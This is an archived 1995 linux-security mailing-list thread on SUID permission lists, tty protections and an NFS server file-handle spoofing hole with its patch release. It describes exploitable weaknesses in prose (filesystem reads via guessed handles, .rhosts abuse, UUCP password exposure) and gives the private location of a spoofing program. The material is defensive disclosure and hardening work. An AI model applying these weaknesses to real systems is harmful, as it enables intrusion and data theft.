reading or writing. Try "stty -onlcr > /dev/tty2 0<&1" while you are in "cat" on tty2. (The situation is obscured a bit by the fact that bash changes tty modes all the time; roughly speaking, the idea is that bash reads the tty state upon successful completion of a job, and sets the tty state when a job returns an error, or is stopped using job control; the details are more complicated.) From [email protected] Sat Mar 11 17:36:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA15784; Sat, 11 Mar 1995 17:33:09 -0500 Received: from distrib.com (www.distrib.com [204.119.65.18]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA14185; Sat, 11 Mar 1995 16:21:44 -0500 Received: by distrib.com (Smail3.1.28.1 #64) id m0rnYXw-000EWrC; Sat, 11 Mar 95 13:18 PST Message-Id: Date: Sat, 11 Mar 95 13:18 PST From: [email protected] (Andrew Cromarty) To: [email protected] Subject: "Find all the SUID programs." Fine. So which *should* be SUID? Sender: [email protected] Precedence: list Reply-To: [email protected] One of the irritating and dangerous results of Unix's 20-year-old file-and-character computing model is that it leaves around thousands of accessible static objects (files) with unspecified protection requirements. Every month or so, some Unix wizard will admonish us on one Unix/Linux mailing list/newsgroup or another that we should "find / -perm ...." to locate all SUID files and inspect them for legitimacy. But this begs the question. There's no place that specifies which files *should* be SUID, or at any other permission level. Worse, since every Unix variant has a different configuration and introduces new files and directories and uses them in different ways (e.g., "*should* /proc/mem be world-readable?"), even wizards with lots of prior Unix experience can't know for sure that their Linux system is secure, just due to permissions alone. Our existing tools are pretty poor help here. As quick examples, - Few man pages for properly-SUID programs state that this is a requirement. - There's nothing in a program's source to specify that it should be e.g. SUID or non-world-readable, and nothing in Makefiles or installation scripts to automate implementation of such a policy. - Even on a permission-secure system, installation scripts for new or upgraded software can inadvertently walk all over our filespace and trash its permissions without notification or documented justification. - Programs like cops find file permission violations, but its default specs may not match the specific permission requirements for Linux, so it relies on the sysadmin to know them. It thus automates our ignorance and our errors. As a result, we're left trading lore on a list like this one, on an ad hoc piece-by-piece basis, to provide these missing specifications. And the security-spec learning curve for beginning sysadmins is formidable, especially with Linux, which has a largely single-user population, meaning almost everyone must become a sysadmin. You _know_ the moderators of this list are going to spend the next few years culling the same questions again and again about shadow passwords, world-readable /dev/tty, ftp setup, etc. Even a (much-needed) Linux Security-HOWTO or FAQ won't really solve this problem. So, two questions: 1. What's a good Linux-specific spec for file permissions, against which we can compare our "find" and "cops" output? I.e. what *should* be SUID, SGID, world-unreadable, etc.? 2. What's a better solution to Linux security specification? E.g. what would it take to build into Linux some facility (short of ACLs or capabilities) that specifies and monitors access permissions, rather than requiring the sysadmin to carry around complete knowledge of the entire system's security requirements in his/her head? (It probably would need to handle site-specific customizations too.) As one example, it would be straightforward to construct an expert system to manage Linux security, if we could simply codify the specification knowledge. In short, what would be better than "cops plus a these-files-should-be-SUID list"? asc From [email protected] Sat Mar 11 18:39:20 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA16189; Sat, 11 Mar 1995 18:37:12 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA16182; Sat, 11 Mar 1995 18:37:04 -0500 Date: Sat, 11 Mar 1995 18:37:04 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: NFS patch In-Reply-To: Your message of Sat, March 11, 1995 15:01:37 +0100 References: X-Palindrome: God saw I was dog! X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- "OK" == Olaf Kirch writes: OK> Here's a patch to nfsd that should fix the hole I've reported earlier. OK> It's against a clean nfs-server-2.0 source. Could you please check if the OK> patch breaks anything for you? It works for me, but I wouldn't want to OK> release it publicly without some sort of double-check. It (the daemon patches) seems to work for me perfectly. That spoofing program you wrote worked as well (unfortunately); I could wander all over a remote machine's directory tree via NFS (to a machine that wasn't exporting anything to anybody, but running 'nfsd' anyway), though I could not write to the FS or resolve symlinks properly--files were wide open for reading however... Installing a patched 'nfsd' on the target machine blocked this as intended, yet allowed normal access once I added a proper entry to the fstab. Lets see what feedback we get (everyone that can, please try this patch out ASAP) and then we'll probably make an "alert" in the next day or so and make the patch available. This appears to be a _bad_ hole! OK> * Use setfsuid/setfsgid for setting owner/group on file OK> access rather than seteuid. As these functions are not OK> yet in libc-4.6.27, there's a small assembler file OK> that implements them. I've got libc-4.6.29 (from Ted Ts'o's "private" area on tsx-11); it has these functions, but your assembly file seems to work as well... OK> * Implement root_squash and no_root_squash mount options. Works for me. - --Up. -----BEGIN PGP SIGNATURE----- Version: 2.6.1 iQCVAwUBL2I0ArxzFUpUTHgFAQEDLgQA2B0ZgVTibxMDPeLWaW8icfyd4crd/6cP j6W+F/IjffGTCiIyldiH7wrGf3KyuPER37gUmxXEcLxESpPVby4ShB/DsgZ1eml/ tie6wOLjWmdZdGhU6YTM2HcsAL3LjoCnaLYbPwZFo739at6H0npgDTEJ16lyBMRz LVKxWY9rotU= =HhYa -----END PGP SIGNATURE----- -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Sat Mar 11 18:54:59 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA16341; Sat, 11 Mar 1995 18:53:31 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id SAA16250; Sat, 11 Mar 1995 18:43:27 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rnap7-0005AsC; Sun, 12 Mar 95 00:43 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rnapO-000Kj0C; Sun, 12 Mar 95 00:44 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? To: [email protected] Date: Sun, 12 Mar 1995 00:44:09 +0100 (MET) In-Reply-To: from "Andrew Cromarty" at Mar 11, 95 01:18:00 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1236 Sender: [email protected] Precedence: list Reply-To: [email protected] Andrew Cromarty wrote: > As one example, it would be > straightforward to construct an expert system to manage Linux security, > if we could simply codify the specification knowledge. In short, what > would be better than "cops plus a these-files-should-be-SUID list"? I second that (although I doubt that it would be straightforward). There are a couple of holes in common Linux distributions that simply result from wrong permission settings. I came about some particularly nasty ones in Slackware 2.0 (not sure about the number) which had world-writable home directories for uucp and mail (.rhosts attack), and had the suid bit set on uuchk and uuconv (uuchk being suid to uucp is bad because it lets anyone read all your UUCP passwords). Any such checking tool would have to be clever about the software packages present (e.g. telling INN from C News), and look for them in different places. It'd also be nice if it was able to automatically construct a tripwire configuration file for a particular installation. Anyone got some spare time one their hands? :-) Cheers Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Sat Mar 11 19:46:25 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA17504; Sat, 11 Mar 1995 19:44:29 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA17500; Sat, 11 Mar 1995 19:44:22 -0500 Date: Sat, 11 Mar 1995 19:44:22 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: NFS patch In-Reply-To: Your message of Sat, March 11, 1995 18:37:04 -0500 References: <[email protected]> X-Palindrome: A Toyota. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] I have just verified that Olaf's patches to the NFS server also work fine using the libc-based setfsuid() and setfsgid() calls (he provided an assembly-based set of these calls in his patch for those not running bleeding-edge libc's). I used the ELF gcc-2.6.4-950218 and libc-4.6.29 for this...a.out should be fine too then, I expect (though have not verified). Quick note (so people don't think that I've gone daft): My last post mentioned my adding a proper entry to the fstab to set NFS access--I of course meant /etc/exports. That was an eyes-glazed-over-from-hacking typo... --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Sat Mar 11 21:53:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id VAA18389; Sat, 11 Mar 1995 21:49:32 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id VAA18231; Sat, 11 Mar 1995 21:39:44 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rndZH-0005LyC; Sat, 11 Mar 95 18:39 PST Date: Sat, 11 Mar 1995 18:39:43 -0800 (PST) From: Elias Levy To: [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Sat, 11 Mar 1995, Andrew Cromarty wrote: > 1. What's a good Linux-specific spec for file permissions, against which > we can compare our "find" and "cops" output? I.e. what *should* be > SUID, SGID, world-unreadable, etc.? > There is none. See below. > 2. What's a better solution to Linux security specification? E.g. what would > it take to build into Linux some facility (short of ACLs or capabilities) > that specifies and monitors access permissions, rather than requiring the > sysadmin to carry around complete knowledge of the entire system's security > requirements in his/her head? (It probably would need to handle > site-specific customizations too.) As one example, it would be > straightforward to construct an expert system to manage Linux security, > if we could simply codify the specification knowledge. In short, what > would be better than "cops plus a these-files-should-be-SUID list"? Yes an expert system would be nice. And it can be partially built. But every linux system is diferent. You run sendmail, I run smail, and who know what that other guy runs. The point is to create an expert system firts you need to have a knowlege base to codify. Which puts the burden on the distribution makers because they are the only ones that know what go into the distrubution. And the database would be exclusive the that distribution. Further more it would be violated once you install any software from the net. So it would help but it would certanly not solve the problem. [email protected] (Elias Levy) PowerNet, Inc. linux-security/1995/linux-security.950312100664 1767 1767 117111 5730736347 17305 0ustar majdommajdomFrom [email protected] Sun Mar 12 02:02:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id BAA19734; Sun, 12 Mar 1995 01:59:29 -0500 Received: from mcenroe.cs.unc.edu (mcenroe.cs.unc.edu [152.2.128.184]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id BAA19598; Sun, 12 Mar 1995 01:21:20 -0500 Received: from proteus.cs.unc.edu by mcenroe.cs.unc.edu (8.6.10/UNC_06_21_94) id BAA05213; Sun, 12 Mar 1995 01:21:20 -0500 Received: by proteus.cs.unc.edu (8.6.9/UNC_06_21_94) id BAA02294; Sun, 12 Mar 1995 01:21:19 -0500 Date: Sun, 12 Mar 1995 01:21:19 -0500 From: Rik Faith Message-Id: <[email protected]> To: [email protected] Subject: tty utilities follow up CC: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] I have implemented the following semantics for util-linux-2.3 (not yet released, but see below): If USE_TTY_GROUP is defined at compile time (the new default): login: changes the group of the tty to "tty" changes the mode of the tty to 620 mesg: n changes the mode to 600, y changes the mode to 620 wall and write are setgid to "tty" If USE_TTY_GROUP is _not_ defined at compile time (for backward compatibility): login: changes the mode of the tty to 600 mesg: n changes the mode to 600 y changes the mode to 622 wall and write are not setgid write has always prevented the sending of arbitrary escape sequences. I have implemented similar prevention in wall and shutdown. What else needs to be done: The sysvinit maintainer needs to implement similar changes for mesg, wall/write, and shutdown in the sysvinit package The shadow password suite maintainer needs to implement similar changes for login X11R6 needs to be configured so that USE_TTY_GROUP is defined when xterm is compiled (no patches are needed, but this is not the default configuration for Linux in the pristine MIT sources -- this should be changed when all of the associated Linux programs support this scheme). Maintainers of utilities like talk need to implement similar changes, if they are not already supported. If you would like to play with these changes, I have placed a snapshot of the sources at ftp.cs.unc.edu:/pub/users/faith/linux/util-linux-pre2.3.tar.gz [Please note that the shutdown contained in this package is not compatible with the sysvinit shutdown, and that the login is not shadow-aware unless special care is taken (shadow will be better supported in util-linux once the community has resolved the related copyright and implementation issues). However, the mesg, wall, and write programs should work on all systems (although not very well if xterm and login do not cooperate with this scheme).] From [email protected] Sun Mar 12 02:02:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id BAA19742; Sun, 12 Mar 1995 01:59:53 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id XAA19203; Sat, 11 Mar 1995 23:35:25 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rnfNA-0005MXC; Sat, 11 Mar 95 20:35 PST Date: Sat, 11 Mar 1995 20:35:19 -0800 (PST) From: Elias Levy To: Rik Faith cc: [email protected], [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu, 9 Mar 1995, Rik Faith wrote: > Can you explain this? X must run as root to get access to the underlying > hardware (e.g., via the iopl(2) or ioperm(2) calls). Are you using a > suid'd wrapper to check for a console login in order to get X running as > root without using the setuid bit on the X binary itself? This seems like > a bit of overprotectivity to me. If I'm logged in at the console (not > running X), and someone starts X, I can just switch VC's. > Sure. Like you said i run a small wrapper that checks that the user is in group xwin and then runs the X server. Well yes with X you can simply chage VC's, but with something like SuperProbe your display can go into a mess you will not be able to fix unless you reboot. What I would like to see is these systems call check the uid of the process and allow access to these io areas if some file in /etc or something passed with lilo at boot would allow it. These ways systems like X where the drivers are in user space would not have to be suid root. > Just a note on tty security in general. I haven't had my tty "screwed up" > by someone in over 10 years -- and I really don't see this issue as a big > security risk. In general, it is very hard to prevent denial of service > attacks under unix, especially when any user can use up all the available > memory or many of the process slots on the machine. Maybe people are > seeing these sorts of attacks in undergraduate computing environments or > some other special situations? Maybe sysadmins in those situations should > implement better social controls and disciplinary actions. I know that if > someone in our academic computing environment tried this juvenile tty crap, > they'd hear from several sysadmins, a few professors, and a bunch of > students: this type of antisocial behavior would simply not be tolerated. > Have your tty screwed is not a nice thing. And just because the are many other ways to create denial of service attacks does not mean we have to do nothing about it. Your tty can be screwed from remote. So it does not have to be an undergraduate computing evironment. We al heard of flash (talkd) and I can simply send you a mail message that will screw your tty the moment you load pine, elm, etc. > I'm mostly concerned with attacks that will allow an ordinary user to > become root; or that will allow a non-user to gain access to my system or > its files (e.g., network attacks). > [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Sun Mar 12 02:03:18 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id CAA19756; Sun, 12 Mar 1995 02:00:28 -0500 Received: from lilly.ping.de (lilly.ping.de [193.100.14.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id AAA19378; Sun, 12 Mar 1995 00:44:42 -0500 Received: by lilly.ping.de with UUCP (Smail3.1.28.1 #4) id m0rngQZ-000osSC; Sun, 12 Mar 95 06:42 MET Received: (from benedikt@localhost) by devnull.ping.de (8.6.9/8.6.9) id FAA06712; Sun, 12 Mar 1995 05:55:46 +0100 Date: Sun, 12 Mar 1995 05:55:46 +0100 From: Benedikt Stockebrand Message-Id: <[email protected]> To: [email protected] CC: [email protected] In-reply-to: ([email protected]) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Sender: [email protected] Precedence: list Reply-To: [email protected] | 2. What's a better solution to Linux security specification? Coding the proper permissions inside the binaries. Make the program check its own permissions upon startup and add an option like "--check-own-permissions" to it. | (It probably would need to handle site-specific customizations too.) That way you could put the customization into the Makefile. | In short, what | would be better than "cops plus a these-files-should-be-SUID list"? Another script that first finds all SUID programs and then runs them with that --check-own-permissions option. It should be possible to "force" this feature into all available programs by modifying the gcc startup module, i.e. before main() is called this check is always automatically performed. Now don't tell me this is a kludge. I know :-) Now let's hear some comments. Ben ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... ----------------------------------------------------------------------- From [email protected] Sun Mar 12 06:50:10 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA20855; Sun, 12 Mar 1995 06:43:58 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id DAA20180; Sun, 12 Mar 1995 03:12:17 -0500 Received: (from panzer@localhost) by dhp.com (8.6.11/8.6.9) id DAA25480; Sun, 12 Mar 1995 03:13:24 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Date: 12 Mar 1995 03:13:23 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 95 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Andrew Cromarty ([email protected]) wrote: : 1. What's a good Linux-specific spec for file permissions, against which : we can compare our "find" and "cops" output? I.e. what *should* be : SUID, SGID, world-unreadable, etc.? Well. Here's my output. Not a defacto standard in any way. But at least a start. ('lusers' group is made up entirely of people who have physical access to the machine) *** X11 Stuff, both R5 & R6, Servers are only runable by 'lusers' -rwsr-x--- 1 root lusers 947204 May 8 1994 /usr2/X11/bin/XF86_S3 -rwsr-x--- 1 root lusers 951300 May 8 1994 /usr2/X11/bin/XF86_SVGA -rwsr-xr-x 1 root bin 9220 Mar 10 1994 /usr2/X11/bin/xload -rwsr-xr-x 1 root bin 119812 Mar 10 1994 /usr2/X11/bin/xterm -rwsr-xr-x 1 root bin 119812 May 6 1994 /usr2/X11/bin/color_xterm -rwsr-x--- 1 root lusers 1474029 Sep 28 03:52 /usr2/X11R6/bin/XF86_S3 -rwsr-x--- 1 root lusers 1611448 Sep 28 03:52 /usr2/X11R6/bin/XF86_SVGA -rwsr-xr-x 1 root root 119812 Sep 28 03:50 /usr2/X11R6/bin/xterm -rwsr-xr-x 1 root root 9220 Sep 28 04:04 /usr2/X11R6/bin/xload *** Procmail, Screen, and tin (suid news) -rwsr-sr-x 1 root mail 41988 Aug 12 1994 /usr2/local/bin/procmail -rwsr-xr-x 1 root root 144388 May 6 1994 /usr2/local/bin/screen -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin *** SVGALib stuff, again only 'lusers' if at all -rwsr-x--- 1 root lusers 1916 May 26 1994 /usr2/local/bin/restorefont -rwsr-x--- 1 root lusers 2140 May 26 1994 /usr2/local/bin/restorepalette -rwsr-x--- 1 root lusers 1900 May 26 1994 /usr2/local/bin/restoretextmode -rwsr-x--- 1 root lusers 1236 May 26 1994 /usr2/local/bin/dumpreg -rwsr-x--- 1 root lusers 2048 May 26 1994 /usr2/local/bin/fix132x43 -rwsr-x--- 1 root lusers 1420 Sep 22 23:20 /usr2/local/bin/setmclk *** Skey stuff, modifies a file similar to passwd -rwsr-xr-x 1 root root 29700 Sep 22 23:20 /usr2/local/bin/skey.init *** System utils that mod files in restricted space -rwsr-xr-x 1 root bin 10120 Mar 14 1994 /usr/bin/at -r-sr-xr-x 1 root bin 17412 Dec 12 1993 /usr/bin/crontab -rws--x--x 1 root root 21508 May 6 1994 /usr/bin/chage -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh *** Printing only for 'lusers' -rwsr-s--- 1 root lusers 9300 Jul 2 1994 /usr/bin/lpq -rwsr-s--- 1 root lusers 10008 Jul 2 1994 /usr/bin/lpr -rwsr-s--- 1 root lusers 8772 Jul 2 1994 /usr/bin/lprm *** Deliver should probably be in /usr/local/bin, but slackware has strange way of installing some packages -rws--x--x 1 root mail 37892 Dec 1 1993 /usr/bin/deliver *** To allow the program to initiate connections from lower ports, though I for the most part don't see why this needs to be done. -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute *** UUCP stuff, if you never plan on using it, get rid of uucp access -r-sr-xr-x 1 uucp bin 91140 Dec 2 1993 /usr/bin/cu -r-sr-xr-x 1 uucp bin 62468 Dec 2 1993 /usr/bin/uux -r-sr-xr-x 1 uucp bin 58372 Dec 2 1993 /usr/bin/uucp -r-sr-xr-x 1 uucp bin 29700 Dec 2 1993 /usr/bin/uuname -r-sr-xr-x 1 uucp bin 70660 Dec 2 1993 /usr/bin/uustat -r-sr-s--- 1 uucp uucp 41988 Dec 2 1993 /usr/lib/uucp/uuchk ---s--s--x 1 uucp uucp 164868 Dec 2 1993 /usr/lib/uucp/uucico -r-sr-s--- 1 uucp uucp 70660 Dec 2 1993 /usr/lib/uucp/uuconv -r-sr-s--- 1 uucp uucp 300 Dec 2 1993 /usr/lib/uucp/uusched ---s--s--x 1 uucp uucp 70660 Dec 2 1993 /usr/lib/uucp/uuxqt *** We run pgp-sendmail, which sits in front of sendmail.real, non-suid -r-sr-sr-x 1 root mail 160772 Mar 10 18:50 /usr/lib/sendmail.real *** /bin/login doesn't need to suid root, as it should for the most part only be called by root owned procs. ping for icmp. passwd stuff for access to restricted shells. -r-s--x--x 1 root root 29700 Aug 21 1994 /bin/login -r-s--x--x 1 root root 50180 Aug 28 1994 /bin/login.skey -r-s--x--x 1 root root 16956 Nov 16 1993 /bin/su -r-s--x--x 1 root root 41988 Aug 28 1994 /bin/su.skey -rws--x--x 1 root bin 8716 Feb 12 1994 /bin/ping -rws--x--x 1 root root 25604 May 6 1994 /bin/passwd -rws--x--x 1 root root 17412 May 6 1994 /bin/gpasswd -rws--x--x 1 root root 17412 May 6 1994 /bin/newgrp Those are mine, though if someone notices something that shouldn't be as it is, please email me... :) Also remember anything run from rc files will be run as root, and anything run from inetd will be also. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Sun Mar 12 06:50:12 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA20850; Sun, 12 Mar 1995 06:43:52 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id CAA20040; Sun, 12 Mar 1995 02:25:52 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rni25-0005MXC; Sat, 11 Mar 95 23:25 PST Date: Sat, 11 Mar 1995 23:25:44 -0800 (PST) From: Elias Levy To: [email protected] cc: [email protected], [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: > Coding the proper permissions inside the binaries. Make the program > check its own permissions upon startup and add an option like > "--check-own-permissions" to it. > [snip] And just who decides what are the proper permissionsfor every diferent package? Thats the real problem. [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Sun Mar 12 11:59:20 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA22250; Sun, 12 Mar 1995 11:55:07 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id LAA22155; Sun, 12 Mar 1995 11:38:08 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rnqf3-0005AmC; Sun, 12 Mar 95 17:38 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rnr5P-000KjEC; Sun, 12 Mar 95 18:05 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS spoof tool To: [email protected] Date: Sun, 12 Mar 1995 18:05:47 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1259 Sender: [email protected] Precedence: list Reply-To: [email protected] Hello all, I've had quite a number of requests for my sample NFS spoofing code. I don't feel quite comfortable about releasing it to the general public yet before everyone had their chance of upgrading. However, I'm making it available to people on this list. Please don't spread it around too much. The file is on linux.nrao.edu in /pub/people/okir/private/bemyguest/nfspoof.c. The private directory is not readable, so you have to cd through it blindly. On a different issue: I'd like to conduct a little straw poll on making NFS file handles more secure. I've thought about encrypting FHs using DES or IDEA. Stuffing a checksum into the FH may not be that good, because the server as it is stores a hashed path in the handle. With the current concept, this allows for 27 or so nested directories not counting the root. Storing a complete MD5 hash would reduce this to 11 levels. SHA takes up 20 bytes, so that would leave 7 levels. Any comments? There's of course the question of US export law. I'd like to hear opinions on this, too; but please send them to me in private email. Regards, Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Sun Mar 12 12:18:17 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22346; Sun, 12 Mar 1995 12:16:20 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id LAA22120; Sun, 12 Mar 1995 11:36:43 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rnqdg-0005AmC; Sun, 12 Mar 95 17:37 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rnr3o-000KjCC; Sun, 12 Mar 95 18:04 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS Vulnerability To: [email protected] Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 3819 Sender: [email protected] Precedence: list Reply-To: [email protected] ALERT - Announcement of the Linux Emergency Response Team :) The current Linux NFS server (version 2.0) has a couple of security problems some of which have been known for a while and supposedly been fixed a long time ago. However, none of the versions I found on the usual FTP sites had these fixes incorporated. On top of that, I discovered a few days ago that you can easily trick it by guessing NFS file handles. This particularly nasty hole allows anyone to mount your entire file system and view all files (kiss your shadow protected passwords goodbye :->). I have written a sample program that demonstrates this hole and will release it at a later date. Release 2.1 of the Universal NFS server fixes these security holes. It does the following things: * Authenticate NFS file handles on every request. Support for it was there, but didn't work in all cases. Authentication code is not yet optimized. Especially for sites that have wildcard names in their /etc/exports, this may cause performance problems. I'll be working on a revamped authentication code that does this faster. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. With the old seteuid method, any user on the system could kill the server. The setfsuid/setfsgid functions were not implemented in libc-4.6.27, so I added a small assembler file that implements them. libc-4.6.29 seems to have them, though. There seem to have been patches that fixed this particular bug before, but they never seem to have made it to any FTP server. * Implement root_squash and no_root_squash mount options. There was a fix for this posted to Usenet recently which implemented the root_squash option. Release 2.1 obsoletes this patch. The complete source is available as nfs-server-2.1.tar.gz from linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of the box, and reportedly works with gcc-ELF, too. In the same directory, you will find a binary release of portmap-3, written by Wietse Venema. I highly recommend you use it, because older versions of portmap have a couple of problems that can result in users on your system gaining root access and/or foreign machines mounting directories from your system via NFS. Attached to the end of this message, you find the MD5 and PGP signatures for both files. The PGP signature can be verified with my public key (you can obtain the key by fingering [email protected]). To verify the PGP signatures, save each of them to a separate file and pipe them into pgp. Regards, Olaf --------------------- linux-security BLURB ------------------------- To find out about the linux-security and linux-alert mailing lists, send mail to [email protected] with the following commands in the message body: help lists end The mailing lists are also archived at linux.nrao.edu; majordomo's help text should tell you how to retrieve them. ----------------------- MD5 signatures ----------------------------- 60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz 2201659365250c78766c9b123a598699 portmap-3.tar.gz ---------------------- PGP signature for nfsd ---------------------- -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M 3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8 FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp JOfwWWk+9Kk= =iL95 -----END PGP MESSAGE----- -------------------- PGP signature for portmap --------------------- -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m 7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA P2bqC07ZfAw= =Wb6T -----END PGP MESSAGE----- From [email protected] Sun Mar 12 13:19:16 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA22834; Sun, 12 Mar 1995 13:18:24 -0500 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.144.190]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id NAA22630; Sun, 12 Mar 1995 13:00:08 -0500 Received: by dutecai.et.tudelft.nl (8.6.10/1.34JP) id TAA00393; Sun, 12 Mar 1995 19:00:06 +0100 Message-Id: <[email protected]> Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? To: [email protected] Date: Sun, 12 Mar 1995 19:00:06 +0100 